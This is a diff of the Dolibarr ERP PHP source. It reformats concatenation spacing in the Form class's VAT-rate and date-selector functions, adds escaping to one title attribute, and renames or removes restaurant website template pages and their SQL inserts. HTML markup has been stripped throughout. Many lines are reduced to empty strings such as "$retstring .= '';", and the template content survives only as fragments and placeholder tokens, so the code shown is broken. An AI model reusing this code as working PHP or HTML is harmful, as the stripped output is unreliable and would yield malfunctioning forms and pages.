$this->cache_vatrates[$i]['labelallrates'] = $obj->taux.'/'.($obj->localtax1 ? $obj->localtax1 : '0').'/'.($obj->localtax2 ? $obj->localtax2 : '0').($obj->code ? ' ('.$obj->code.')' : ''); // Must never be used as key, only label + $this->cache_vatrates[$i]['label'] = $obj->taux . '%' . ($obj->code ? ' (' . $obj->code . ')' : ''); // Label must contains only 0-9 , . % or * + $this->cache_vatrates[$i]['labelallrates'] = $obj->taux . '/' . ($obj->localtax1 ? $obj->localtax1 : '0') . '/' . ($obj->localtax2 ? $obj->localtax2 : '0') . ($obj->code ? ' (' . $obj->code . ')' : ''); // Must never be used as key, only label $positiverates = ''; if ($obj->taux) { - $positiverates .= ($positiverates ? '/' : '').$obj->taux; + $positiverates .= ($positiverates ? '/' : '') . $obj->taux; } if ($obj->localtax1) { - $positiverates .= ($positiverates ? '/' : '').$obj->localtax1; + $positiverates .= ($positiverates ? '/' : '') . $obj->localtax1; } if ($obj->localtax2) { - $positiverates .= ($positiverates ? '/' : '').$obj->localtax2; + $positiverates .= ($positiverates ? '/' : '') . $obj->localtax2; } if (empty($positiverates)) { $positiverates = '0'; } - $this->cache_vatrates[$i]['labelpositiverates'] = $positiverates.($obj->code ? ' ('.$obj->code.')' : ''); // Must never be used as key, only label + $this->cache_vatrates[$i]['labelpositiverates'] = $positiverates . ($obj->code ? ' (' . $obj->code . ')' : ''); // Must never be used as key, only label } return $num; } else { - $this->error = ''.$langs->trans("ErrorNoVATRateDefinedForSellerCountry", $country_code).''; + $this->error = '' . $langs->trans("ErrorNoVATRateDefinedForSellerCountry", $country_code) . ''; return -1; } } else { - $this->error = ''.$this->db->error().''; + $this->error = '' . $this->db->error() . ''; return -2; } } // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps + /** * Output an HTML select vat rate. * The name of this function should be selectVat. We keep bad name for compatibility purpose. * - * @param string $htmlname Name of HTML select field - * @param float|string $selectedrate Force preselected vat rate. Can be '8.5' or '8.5 (NOO)' for example. Use '' for no forcing. - * @param Societe $societe_vendeuse Thirdparty seller - * @param Societe $societe_acheteuse Thirdparty buyer - * @param int $idprod Id product. O if unknown of NA. - * @param int $info_bits Miscellaneous information on line (1 for NPR) - * @param int|string $type ''=Unknown, 0=Product, 1=Service (Used if idprod not defined) - * Si vendeur non assujeti a TVA, TVA par defaut=0. Fin de regle. - * Si le (pays vendeur = pays acheteur) alors la TVA par defaut=TVA du produit vendu. Fin de regle. - * Si (vendeur et acheteur dans Communaute europeenne) et bien vendu = moyen de transports neuf (auto, bateau, avion), TVA par defaut=0 (La TVA doit etre paye par l'acheteur au centre d'impots de son pays et non au vendeur). Fin de regle. - * Si vendeur et acheteur dans Communauté européenne et acheteur= particulier alors TVA par défaut=TVA du produit vendu. Fin de règle. - * Si vendeur et acheteur dans Communauté européenne et acheteur= entreprise alors TVA par défaut=0. Fin de règle. - * Sinon la TVA proposee par defaut=0. Fin de regle. - * @param bool $options_only Return HTML options lines only (for ajax treatment) - * @param int $mode 0=Use vat rate as key in combo list, 1=Add VAT code after vat rate into key, -1=Use id of vat line as key - * @return string + * @param string $htmlname Name of HTML select field + * @param float|string $selectedrate Force preselected vat rate. Can be '8.5' or '8.5 (NOO)' for example. Use '' for no forcing. + * @param Societe $societe_vendeuse Thirdparty seller + * @param Societe $societe_acheteuse Thirdparty buyer + * @param int $idprod Id product. O if unknown of NA. + * @param int $info_bits Miscellaneous information on line (1 for NPR) + * @param int|string $type ''=Unknown, 0=Product, 1=Service (Used if idprod not defined) + * Si vendeur non assujeti a TVA, TVA par defaut=0. Fin de regle. + * Si le (pays vendeur = pays acheteur) alors la TVA par defaut=TVA du produit vendu. Fin de regle. + * Si (vendeur et acheteur dans Communaute europeenne) et bien vendu = moyen de transports neuf (auto, bateau, avion), TVA par defaut=0 (La TVA doit etre paye par l'acheteur au centre d'impots de son pays et non au vendeur). Fin de regle. + * Si vendeur et acheteur dans Communauté européenne et acheteur= particulier alors TVA par défaut=TVA du produit vendu. Fin de règle. + * Si vendeur et acheteur dans Communauté européenne et acheteur= entreprise alors TVA par défaut=0. Fin de règle. + * Sinon la TVA proposee par defaut=0. Fin de regle. + * @param bool $options_only Return HTML options lines only (for ajax treatment) + * @param int $mode 0=Use vat rate as key in combo list, 1=Add VAT code after vat rate into key, -1=Use id of vat line as key + * @return string */ public function load_tva($htmlname = 'tauxtva', $selectedrate = '', $societe_vendeuse = '', $societe_acheteuse = '', $idprod = 0, $info_bits = 0, $type = '', $options_only = false, $mode = 0) { @@ -6230,9 +6367,9 @@ class Form // Check parameters if (is_object($societe_vendeuse) && !$societe_vendeuse->country_code) { if ($societe_vendeuse->id == $mysoc->id) { - $return .= ''.$langs->trans("ErrorYourCountryIsNotDefined").''; + $return .= '' . $langs->trans("ErrorYourCountryIsNotDefined") . ''; } else { - $return .= ''.$langs->trans("ErrorSupplierCountryIsNotDefined").''; + $return .= '' . $langs->trans("ErrorSupplierCountryIsNotDefined") . ''; } return $return; } @@ -6244,25 +6381,25 @@ class Form // Define list of countries to use to search VAT rates to show // First we defined code_country to use to find list if (is_object($societe_vendeuse)) { - $code_country = "'".$societe_vendeuse->country_code."'"; + $code_country = "'" . $societe_vendeuse->country_code . "'"; } else { - $code_country = "'".$mysoc->country_code."'"; // Pour compatibilite ascendente + $code_country = "'" . $mysoc->country_code . "'"; // Pour compatibilite ascendente } if (!empty($conf->global->SERVICE_ARE_ECOMMERCE_200238EC)) { // If option to have vat for end customer for services is on - require_once DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php'; + require_once DOL_DOCUMENT_ROOT . '/core/lib/company.lib.php'; if (!isInEEC($societe_vendeuse) && (!is_object($societe_acheteuse) || (isInEEC($societe_acheteuse) && !$societe_acheteuse->isACompany()))) { - // We also add the buyer + // We also add the buyer country code if (is_numeric($type)) { if ($type == 1) { // We know product is a service - $code_country .= ",'".$societe_acheteuse->country_code."'"; + $code_country .= ",'" . $societe_acheteuse->country_code . "'"; } } elseif (!$idprod) { // We don't know type of product - $code_country .= ",'".$societe_acheteuse->country_code."'"; + $code_country .= ",'" . $societe_acheteuse->country_code . "'"; } else { $prodstatic = new Product($this->db); $prodstatic->fetch($idprod); if ($prodstatic->type == Product::TYPE_SERVICE) { // We know product is a service - $code_country .= ",'".$societe_acheteuse->country_code."'"; + $code_country .= ",'" . $societe_acheteuse->country_code . "'"; } } } @@ -6275,8 +6412,10 @@ class Form // Definition du taux a pre-selectionner (si defaulttx non force et donc vaut -1 ou '') if ($defaulttx < 0 || dol_strlen($defaulttx) == 0) { $tmpthirdparty = new Societe($this->db); + $defaulttx = get_default_tva($societe_vendeuse, (is_object($societe_acheteuse) ? $societe_acheteuse : $tmpthirdparty), $idprod); $defaultnpr = get_default_npr($societe_vendeuse, (is_object($societe_acheteuse) ? $societe_acheteuse : $tmpthirdparty), $idprod); + if (preg_match('/\((.*)\)/', $defaulttx, $reg)) { $defaultcode = $reg[1]; $defaulttx = preg_replace('/\s*\(.*\)/', '', $defaulttx); @@ -6286,13 +6425,22 @@ class Form } } - // Si taux par defaut n'a pu etre determine, on prend dernier de la liste. - // Comme ils sont tries par ordre croissant, dernier = plus eleve = taux courant + // If we fails to find a default vat rate, we take the last one in list + // Because they are sorted in ascending order, the last one will be the higher one (we suppose the higher one is the current rate) if ($defaulttx < 0 || dol_strlen($defaulttx) == 0) { if (empty($conf->global->MAIN_VAT_DEFAULT_IF_AUTODETECT_FAILS)) { + // We take the last one found in list $defaulttx = $this->cache_vatrates[$num - 1]['txtva']; } else { - $defaulttx = ($conf->global->MAIN_VAT_DEFAULT_IF_AUTODETECT_FAILS == 'none' ? '' : $conf->global->MAIN_VAT_DEFAULT_IF_AUTODETECT_FAILS); + // We will use the rate defined into MAIN_VAT_DEFAULT_IF_AUTODETECT_FAILS + $defaulttx = ''; + if ($conf->global->MAIN_VAT_DEFAULT_IF_AUTODETECT_FAILS != 'none') { + $defaulttx = $conf->global->MAIN_VAT_DEFAULT_IF_AUTODETECT_FAILS; + } + if (preg_match('/\((.*)\)/', $defaulttx, $reg)) { + $defaultcode = $reg[1]; + $defaulttx = preg_replace('/\s*\(.*\)/', '', $defaulttx); + } } } @@ -6303,13 +6451,13 @@ class Form // Override/enable VAT for expense report regardless of global setting - needed if expense report used for business expenses instead // of using supplier invoices (this is a very bad idea !) if (empty($conf->global->EXPENSEREPORT_OVERRIDE_VAT)) { - $title = ' title="'.$langs->trans('VATIsNotUsed').'"'; + $title = ' title="' . dol_escape_htmltag($langs->trans('VATIsNotUsed')) . '"'; $disabled = true; } } if (!$options_only) { - $return .= ''; } $selectedfound = false; @@ -6323,13 +6471,13 @@ class Form $key = $rate['txtva']; $key .= $rate['nprtva'] ? '*' : ''; if ($mode > 0 && $rate['code']) { - $key .= ' ('.$rate['code'].')'; + $key .= ' (' . $rate['code'] . ')'; } if ($mode < 0) { $key = $rate['rowid']; } - $return .= '
      '; - $retstring .= ''."\n"; - $retstring .= ''."\n"; - $retstring .= ''."\n"; + $retstring .= '' . "\n"; + $retstring .= '' . "\n"; + $retstring .= '' . "\n"; } else { $retstring .= "Bad value of MAIN_POPUP_CALENDAR"; } } else { // Show date with combo selects // Day - $retstring .= ''; + $retstring .= ''; if ($emptydate || $set_time == -1) { $retstring .= ''; } for ($day = 1; $day <= 31; $day++) { - $retstring .= ''; + $retstring .= ''; } $retstring .= ""; - $retstring .= ''; + $retstring .= ''; if ($emptydate || $set_time == -1) { $retstring .= ''; } // Month for ($month = 1; $month <= 12; $month++) { - $retstring .= '"; } @@ -6675,12 +6829,12 @@ class Form // Year if ($emptydate || $set_time == -1) { - $retstring .= ''; + $retstring .= ''; } else { - $retstring .= ''; + $retstring .= ''; for ($year = $syear - 10; $year < $syear + 10; $year++) { - $retstring .= ''; + $retstring .= ''; } $retstring .= "\n"; } @@ -6704,15 +6858,15 @@ class Form } } // Show hour - $retstring .= ''; + $retstring .= ''; if ($emptyhours) { $retstring .= ''; } for ($hour = $hourstart; $hour < $hourend; $hour++) { if (strlen($hour) < 2) { - $hour = "0".$hour; + $hour = "0" . $hour; } - $retstring .= ''; } @@ -6725,19 +6879,19 @@ class Form if ($m) { // Show minutes - $retstring .= ''; + $retstring .= ''; if ($emptyhours) { $retstring .= ''; } for ($min = 0; $min < 60; $min += $stepminutes) { if (strlen($min) < 2) { - $min = "0".$min; + $min = "0" . $min; } - $retstring .= ''; + $retstring .= ''; } $retstring .= ''; - $retstring .= ''; + $retstring .= ''; } if ($d && $h) { @@ -6760,10 +6914,10 @@ class Form // Generate the date part, depending on the use or not of the javascript calendar if ($addnowlink == 1) { // server time expressed in user time setup - $reset_scripts .= 'jQuery(\'#'.$prefix.'\').val(\''.dol_print_date($nowgmt, 'day', 'tzuserrel').'\');'; - $reset_scripts .= 'jQuery(\'#'.$prefix.'day\').val(\''.dol_print_date($nowgmt, '%d', 'tzuserrel').'\');'; - $reset_scripts .= 'jQuery(\'#'.$prefix.'month\').val(\''.dol_print_date($nowgmt, '%m', 'tzuserrel').'\');'; - $reset_scripts .= 'jQuery(\'#'.$prefix.'year\').val(\''.dol_print_date($nowgmt, '%Y', 'tzuserrel').'\');'; + $reset_scripts .= 'jQuery(\'#' . $prefix . '\').val(\'' . dol_print_date($nowgmt, 'day', 'tzuserrel') . '\');'; + $reset_scripts .= 'jQuery(\'#' . $prefix . 'day\').val(\'' . dol_print_date($nowgmt, '%d', 'tzuserrel') . '\');'; + $reset_scripts .= 'jQuery(\'#' . $prefix . 'month\').val(\'' . dol_print_date($nowgmt, '%m', 'tzuserrel') . '\');'; + $reset_scripts .= 'jQuery(\'#' . $prefix . 'year\').val(\'' . dol_print_date($nowgmt, '%Y', 'tzuserrel') . '\');'; } elseif ($addnowlink == 2) { /* Disabled because the output does not use the string format defined by FormatDateShort key to forge the value into #prefix. * This break application for foreign languages. @@ -6772,10 +6926,10 @@ class Form $reset_scripts .= 'jQuery(\'#'.$prefix.'month\').val(parseInt(d.getMonth().pad()) + 1);'; $reset_scripts .= 'jQuery(\'#'.$prefix.'year\').val(d.getFullYear());'; */ - $reset_scripts .= 'jQuery(\'#'.$prefix.'\').val(\''.dol_print_date($nowgmt, 'day', 'tzuserrel').'\');'; - $reset_scripts .= 'jQuery(\'#'.$prefix.'day\').val(\''.dol_print_date($nowgmt, '%d', 'tzuserrel').'\');'; - $reset_scripts .= 'jQuery(\'#'.$prefix.'month\').val(\''.dol_print_date($nowgmt, '%m', 'tzuserrel').'\');'; - $reset_scripts .= 'jQuery(\'#'.$prefix.'year\').val(\''.dol_print_date($nowgmt, '%Y', 'tzuserrel').'\');'; + $reset_scripts .= 'jQuery(\'#' . $prefix . '\').val(\'' . dol_print_date($nowgmt, 'day', 'tzuserrel') . '\');'; + $reset_scripts .= 'jQuery(\'#' . $prefix . 'day\').val(\'' . dol_print_date($nowgmt, '%d', 'tzuserrel') . '\');'; + $reset_scripts .= 'jQuery(\'#' . $prefix . 'month\').val(\'' . dol_print_date($nowgmt, '%m', 'tzuserrel') . '\');'; + $reset_scripts .= 'jQuery(\'#' . $prefix . 'year\').val(\'' . dol_print_date($nowgmt, '%Y', 'tzuserrel') . '\');'; } /*if ($usecalendar == "eldy") { @@ -6795,11 +6949,11 @@ class Form } //$reset_scripts .= 'this.form.elements[\''.$prefix.'hour\'].value=formatDate(new Date(), \'HH\'); '; if ($addnowlink == 1) { - $reset_scripts .= 'jQuery(\'#'.$prefix.'hour\').val(\''.dol_print_date($nowgmt, '%H', 'tzuserrel').'\');'; - $reset_scripts .= 'jQuery(\'#'.$prefix.'hour\').change();'; + $reset_scripts .= 'jQuery(\'#' . $prefix . 'hour\').val(\'' . dol_print_date($nowgmt, '%H', 'tzuserrel') . '\');'; + $reset_scripts .= 'jQuery(\'#' . $prefix . 'hour\').change();'; } elseif ($addnowlink == 2) { - $reset_scripts .= 'jQuery(\'#'.$prefix.'hour\').val(d.getHours().pad());'; - $reset_scripts .= 'jQuery(\'#'.$prefix.'hour\').change();'; + $reset_scripts .= 'jQuery(\'#' . $prefix . 'hour\').val(d.getHours().pad());'; + $reset_scripts .= 'jQuery(\'#' . $prefix . 'hour\').change();'; } if ($fullday) { @@ -6813,11 +6967,11 @@ class Form } //$reset_scripts .= 'this.form.elements[\''.$prefix.'min\'].value=formatDate(new Date(), \'mm\'); '; if ($addnowlink == 1) { - $reset_scripts .= 'jQuery(\'#'.$prefix.'min\').val(\''.dol_print_date($nowgmt, '%M', 'tzuserrel').'\');'; - $reset_scripts .= 'jQuery(\'#'.$prefix.'min\').change();'; + $reset_scripts .= 'jQuery(\'#' . $prefix . 'min\').val(\'' . dol_print_date($nowgmt, '%M', 'tzuserrel') . '\');'; + $reset_scripts .= 'jQuery(\'#' . $prefix . 'min\').change();'; } elseif ($addnowlink == 2) { - $reset_scripts .= 'jQuery(\'#'.$prefix.'min\').val(d.getMinutes().pad());'; - $reset_scripts .= 'jQuery(\'#'.$prefix.'min\').change();'; + $reset_scripts .= 'jQuery(\'#' . $prefix . 'min\').val(d.getMinutes().pad());'; + $reset_scripts .= 'jQuery(\'#' . $prefix . 'min\').change();'; } if ($fullday) { $reset_scripts .= ' } '; @@ -6825,7 +6979,7 @@ class Form } // If reset_scripts is not empty, print the link with the reset_scripts in the onClick if ($reset_scripts && empty($conf->global->MAIN_OPTIMIZEFORTEXTBROWSER)) { - $retstring .= ' '; } @@ -6837,16 +6991,16 @@ class Form $reset_scripts = ""; // Generate the date part, depending on the use or not of the javascript calendar - $reset_scripts .= 'jQuery(\'#'.$prefix.'\').val(\''.dol_print_date($nowgmt, 'dayinputnoreduce', 'tzuserrel').'\');'; - $reset_scripts .= 'jQuery(\'#'.$prefix.'day\').val(\''.dol_print_date($nowgmt, '%d', 'tzuserrel').'\');'; - $reset_scripts .= 'jQuery(\'#'.$prefix.'month\').val(\''.dol_print_date($nowgmt, '%m', 'tzuserrel').'\');'; - $reset_scripts .= 'jQuery(\'#'.$prefix.'year\').val(\''.dol_print_date($nowgmt, '%Y', 'tzuserrel').'\');'; + $reset_scripts .= 'jQuery(\'#' . $prefix . '\').val(\'' . dol_print_date($nowgmt, 'dayinputnoreduce', 'tzuserrel') . '\');'; + $reset_scripts .= 'jQuery(\'#' . $prefix . 'day\').val(\'' . dol_print_date($nowgmt, '%d', 'tzuserrel') . '\');'; + $reset_scripts .= 'jQuery(\'#' . $prefix . 'month\').val(\'' . dol_print_date($nowgmt, '%m', 'tzuserrel') . '\');'; + $reset_scripts .= 'jQuery(\'#' . $prefix . 'year\').val(\'' . dol_print_date($nowgmt, '%Y', 'tzuserrel') . '\');'; // Update the hour part if ($h) { if ($fullday) { $reset_scripts .= " if (jQuery('#fullday:checked').val() == null) {"; } - $reset_scripts .= 'jQuery(\'#'.$prefix.'hour\').val(\''.dol_print_date($nowgmt, '%H', 'tzuserrel').'\');'; + $reset_scripts .= 'jQuery(\'#' . $prefix . 'hour\').val(\'' . dol_print_date($nowgmt, '%H', 'tzuserrel') . '\');'; if ($fullday) { $reset_scripts .= ' } '; } @@ -6856,14 +7010,14 @@ class Form if ($fullday) { $reset_scripts .= " if (jQuery('#fullday:checked').val() == null) {"; } - $reset_scripts .= 'jQuery(\'#'.$prefix.'min\').val(\''.dol_print_date($nowgmt, '%M', 'tzuserrel').'\');'; + $reset_scripts .= 'jQuery(\'#' . $prefix . 'min\').val(\'' . dol_print_date($nowgmt, '%M', 'tzuserrel') . '\');'; if ($fullday) { $reset_scripts .= ' } '; } } // If reset_scripts is not empty, print the link with the reset_scripts in the onClick if ($reset_scripts && empty($conf->dol_optimize_smallscreen)) { - $retstring .= ' '; } @@ -6875,7 +7029,12 @@ class Form if (empty($labeladddateof)) { $labeladddateof = $langs->trans("DateInvoice"); } - $retstring .= ' - - - name; ?> - - - - - - - - - -
      - - - -
      -
      -
      - -
      -

      Team Members

      -
      - -
      -
      - - -
      -

      Sophia

      - -

      CEO & Founder

      -
      -
      -
      - -
      -
      - - -

      Benjamin W.

      - -

      Restaurant Manager

      -
      -
      - -
      -
      - - -

      Muchen Jack

      - -

      Senior Chef

      -
      -
      - -
      -
      -
      - - - - -
      - - - - - - diff --git a/htdocs/install/doctemplates/websites/website_template-restaurant/containers/page172.tpl.php b/htdocs/install/doctemplates/websites/website_template-restaurant/containers/page172.tpl.php deleted file mode 100644 index cf759e644a8..00000000000 --- a/htdocs/install/doctemplates/websites/website_template-restaurant/containers/page172.tpl.php +++ /dev/null @@ -1,597 +0,0 @@ - - - -Our menus - - - - - - - - - -use_manifest) { print ''."\n"; } ?> - - - - - - - - - - - - -
      - - -
      - - - - - - - -
      - -
      -
      -
      -
      -

      name; ?>

      -
      - -
      -
      Location
      - -

      getFullAddress(); ?>

      - - Directions -
      - -
      -
      Opening Hours
      - - - $day : " .getDolGlobalString("MAIN_INFO_OPENINGHOURS_$day") ."

      "; - } - ?> - -

      - Tel: - phone ?> -

      -
      - -
      -
      Social
      - -
      - - -
      -
      - -
      - -
      - -
      - - - - diff --git a/htdocs/install/doctemplates/websites/website_template-restaurant/containers/page248.tpl.php b/htdocs/install/doctemplates/websites/website_template-restaurant/containers/page248.tpl.php new file mode 100644 index 00000000000..9acf79aaec9 --- /dev/null +++ b/htdocs/install/doctemplates/websites/website_template-restaurant/containers/page248.tpl.php @@ -0,0 +1,113 @@ + + + +About us + + + + + + + + + +use_manifest) { print ''."\n"; } ?> + + + + + + + + + + + + + + +
      +
      + + + +
      +
      +
      + +
      +

      Team Members

      +
      + +
      +
      + + +
      +

      Sophia

      + +

      CEO & Founder

      +
      +
      +
      + +
      +
      + + +

      Benjamin W.

      + +

      Restaurant Manager

      +
      +
      + +
      +
      + + +

      Muchen Jack

      + +

      Senior Chef

      +
      +
      + +
      +
      +
      + +
      + +
      + + + + + + + + diff --git a/htdocs/install/doctemplates/websites/website_template-restaurant/containers/page170.tpl.php b/htdocs/install/doctemplates/websites/website_template-restaurant/containers/page249.tpl.php similarity index 70% rename from htdocs/install/doctemplates/websites/website_template-restaurant/containers/page170.tpl.php rename to htdocs/install/doctemplates/websites/website_template-restaurant/containers/page249.tpl.php index c444ce1292d..8742e231c27 100644 --- a/htdocs/install/doctemplates/websites/website_template-restaurant/containers/page170.tpl.php +++ b/htdocs/install/doctemplates/websites/website_template-restaurant/containers/page249.tpl.php @@ -18,8 +18,8 @@ ob_start(); - - + + use_manifest) { print ''."\n"; } ?> @@ -34,7 +34,7 @@ ob_start(); email; @@ -51,67 +51,12 @@ ob_start(); } } ?> + + + +
      - - -
      +
      - +
      @@ -144,6 +89,9 @@ ob_start(); method="post" role="form" > + + +
      Phone Numbertrans("Phone"); ?> Emailtrans("Email"); ?> Messagetrans("Message"); ?> __N__
      __N____N__
      __N__ __N__
      __N__ __N__
      __N____N__
      __N__
      Weekdays
      __N____N__
      __N__ $day : \" .getDolGlobalString(\"MAIN_INFO_OPENINGHOURS_$day\") .\"

      \"; __N__ }__N__ ?>__N__
      __N____N__
      Weekends
      __N____N__
      __N__

      Saturday and Sunday

      __N____N__

      to be determined !

      __N__
      __N__
      __N____N__
      __N__

      __N__ getFullAddress() ?>__N__

      __N____N__
      __N__ __N__
      __N__
      __N__ __N__ __N__
      __N__
      __N____N__
      __N__ __N__ __N__ __N__ __N__ __N__ __N__ __N__
      __N__
      __N__
      __N__

      Reserve a table

      __N____N__ __N__
      __N____N__ __N__
      __N__ __N__ \" />__N__ __N__
      __N__
      __N____N__
      __N__
      __N____N__
      __N__
      __N____N__
      __N__
      __N____N__
      __N__
      __N____N__
      __N__
      __N____N__
      __N__
      __N____N__
      __N__ __N__
      __N__ __N__
      __N__
      __N____N__
      __N__
      __N__ __N__ __N____N__
      __N__', '', 0); --- File generated by Dolibarr 17.0.0-alpha -- 2022-10-08 18:18:50 UTC --; --- Page ID 171 -> 3__+MAX_llx_website_page__ - Aliases index --; -INSERT INTO llx_website_page(rowid, fk_page, fk_website, pageurl, aliasalt, title, description, lang, image, keywords, status, date_creation, tms, import_key, grabbed_from, type_container, htmlheader, content, author_alias, allowed_in_frames) VALUES(3__+MAX_llx_website_page__, null, __WEBSITE_ID__, 'index', '', 'index', '', '', '', '', '1', '2022-08-09 16:34:54', '2022-10-08 19:28:42', null, '', 'page', '', '__N____N__
      __N____N____N__
      __N__
      __N__
      __N__
      __N__
      __N__
      __N__

      __N__ Delicious Steaks__N__

      __N____N__ __N__ __N__

      __N__ 4.7/5__N__

      __N____N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N__
      __N____N__

      __N__ From 1,206+ Customer__N__ Reviews__N__

      __N__
      __N__
      __N__
      __N____N__
      __N__ __N__
      __N__
      __N__
      __N__ __N__
      __N____N__
      __N__

      __N__ Fine Dining Restaurant__N__

      __N__
      __N__
      __N____N__
      __N__
      __N__ __N__
      __N____N__
      __N__ __N__

      Steak

      __N____N__ 26.50__N__
      __N____N__ __N__ __N__ 3.8/5__N__ __N____N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N__
      __N__
      __N__
      __N____N__
      __N__
      __N__ __N__
      __N____N__
      __N__ __N__

      __N__ Sausage Pasta__N__

      __N____N__ 18.25__N__
      __N____N__ __N__ __N__ 4.2/5__N__ __N____N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N__
      __N__ __N__ __N__ __N____N__ __N__ __N__ Previous__N__ __N____N__ __N__ __N__ Next__N__ __N__ __N__ __N__ __N__ __N____N__
      __N__ __N__ __N__ Your browser does not support the video tag.__N__ __N__
      __N____N__
      __N__
      __N____N__
      __N__
      __N__
      __N__
      __N__

      __N__ Special Menus__N__

      __N__
      __N____N__
      __N__
      __N__
      __N__ __N____N__ Breakfast__N__
      __N____N__ __N__

      Morning Fresh

      __N____N__ 12.50__N____N__ __N__
      __N__ 4.3/5__N__
      __N____N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N____N__

      __N__ 102 Reviews__N__

      __N__
      __N__
      __N__
      __N__
      __N____N__
      __N__
      __N__
      __N__ __N____N__ Lunch__N__
      __N____N__ __N__

      DoliCloud Soup

      __N____N__ 24.50__N____N__ __N__
      __N__ 3/5__N__
      __N____N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N____N__

      __N__ 50 Reviews__N__

      __N__
      __N__
      __N__ __N__ __N____N__
      __N__
      __N__
      __N__ __N____N__ Dinner__N__
      __N____N__ __N__

      Premium Steak

      __N____N__ 45__N____N__ __N__
      __N__ 3/5__N__
      __N____N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N____N__

      __N__ 86 Reviews__N__

      __N__
      __N__
      __N__ __N__ __N____N__
      __N__
      __N__
      __N__ __N____N__ Dinner__N__
      __N____N__ __N__

      Seafood Set

      __N____N__ 86__N____N__ __N__
      __N__ 3/5__N__
      __N____N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N____N__

      __N__ 44 Reviews__N__

      __N__
      __N__
      __N__ __N__ __N____N__
      __N__
      __N__
      __N__ __N____N__ Breakfast__N__
      __N____N__ __N__

      Burger Set

      __N____N__ 20.50__N____N__ __N__
      __N__ 4.3/5__N__
      __N____N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N____N__

      __N__ 102 Reviews__N__

      __N__
      __N__
      __N__ __N__ __N____N__
      __N__
      __N__
      __N__ __N____N__ Lunch__N__
      __N____N__ __N__

      Healthy Soup

      __N____N__ 34.20__N____N__ __N__
      __N__ 3/5__N__
      __N____N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N____N__

      __N__ 64 Reviews__N__

      __N__
      __N__
      __N__ __N__ __N__ __N__ __N__
      __N__
      __N____N__ __N____N__
      __N__', '', 0); -UPDATE llx_website SET fk_default_home = 3__+MAX_llx_website_page__ WHERE rowid = __WEBSITE_ID__; --- File generated by Dolibarr 17.0.0-alpha -- 2022-10-08 18:18:50 UTC --; --- Page ID 172 -> 4__+MAX_llx_website_page__ - Aliases menu --; -INSERT INTO llx_website_page(rowid, fk_page, fk_website, pageurl, aliasalt, title, description, lang, image, keywords, status, date_creation, tms, import_key, grabbed_from, type_container, htmlheader, content, author_alias, allowed_in_frames) VALUES(4__+MAX_llx_website_page__, null, __WEBSITE_ID__, 'menu', '', 'Our menus', '', '', '', '', '1', '2022-08-16 14:37:03', '2022-10-08 19:23:06', null, '', 'page', '', '__N__
      __N__ __N____N__
      __N__
      __N__
      __N__
      __N__
      __N__

      Our Menus

      __N____N__ Perfect for all Breakfast, Lunch and__N__ Dinner__N__
      __N__
      __N__
      __N____N__
      __N__
      __N____N__
      __N__
      __N__
      __N__
      __N__

      Breakfast Menu

      __N__
      __N____N__
      __N__
      __N__ __N____N__ __N__

      Fresh Start

      __N____N__ $24.50__N____N__ __N__
      __N__ 4.4/5__N__
      __N____N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N____N__

      __N__ 128 Reviews__N__

      __N__
      __N__
      __N__
      __N__
      __N____N__
      __N__
      __N__ __N____N__ __N__

      Baked Creamy

      __N____N__ $16.50__N____N__ __N__
      __N__ 3/5__N__
      __N____N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N____N__

      __N__ 64 Reviews__N__

      __N__
      __N__
      __N__ __N__ __N____N__
      __N__
      __N__ __N____N__ __N__

      Burger Set

      __N____N__ $24.50__N____N__ $36.50__N____N__ __N__
      __N__ 3/5__N__
      __N____N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N____N__

      __N__ 32 Reviews__N__

      __N__
      __N__
      __N__ __N__ __N__ __N__ __N__
      __N____N__
      __N__
      __N__
      __N__
      __N__

      Lunch Menu

      __N__
      __N____N__
      __N__
      __N__ __N____N__ __N__

      Super Steak Set

      __N____N__ $32.75__N____N__ $55__N____N__ __N__
      __N__ 4.2/5__N__
      __N____N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N____N__

      __N__ 66 Reviews__N__

      __N__
      __N__
      __N__
      __N__
      __N____N__
      __N__
      __N__ __N____N__ __N__

      Bread & Steak Set

      __N____N__ $42.50__N____N__ __N__
      __N__ 3/5__N__
      __N____N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N____N__

      __N__ 84 Reviews__N__

      __N__
      __N__
      __N__ __N__ __N__ __N__ __N__
      __N____N__
      __N__
      __N__
      __N__
      __N__

      Dinner Menu

      __N__
      __N____N__
      __N__
      __N__ __N____N__ __N__

      Seafood Set

      __N____N__ $65.50__N____N__ __N__
      __N__ 4.4/5__N__
      __N____N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N____N__

      __N__ 102 Reviews__N__

      __N__
      __N__
      __N__
      __N__
      __N____N__
      __N__
      __N__ __N____N__ __N__

      Premium Steak

      __N____N__ $74.25__N____N__ __N__
      __N__ 3/5__N__
      __N____N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N____N__

      __N__ 56 Reviews__N__

      __N__
      __N__
      __N__ __N__ __N____N__
      __N__
      __N__ __N____N__ __N__

      Salmon Set

      __N____N__ $60__N____N__ __N__
      __N__ 3/5__N__
      __N____N__
      __N__ __N__ __N__ __N__ __N__ __N__
      __N____N__

      __N__ 76 Reviews__N__

      __N__
      __N__
      __N__ __N__ __N__ __N__ __N__
      __N__
      __N____N__ __N____N__
      __N__', '', 0); +-- File generated by Dolibarr 17.0.0-beta -- 2022-11-20 14:10:56 UTC --; +-- Page ID 248 -> 1__+MAX_llx_website_page__ - Aliases about --; +INSERT INTO llx_website_page(rowid, fk_page, fk_website, pageurl, aliasalt, title, description, lang, image, keywords, status, date_creation, tms, import_key, grabbed_from, type_container, htmlheader, content, author_alias, allowed_in_frames) VALUES(1__+MAX_llx_website_page__, null, __WEBSITE_ID__, 'about', '', 'About us', '', '', '', '', '1', '2022-08-09 16:40:13', '2022-11-20 14:15:19', null, '', 'page', '', '__N____N____N__
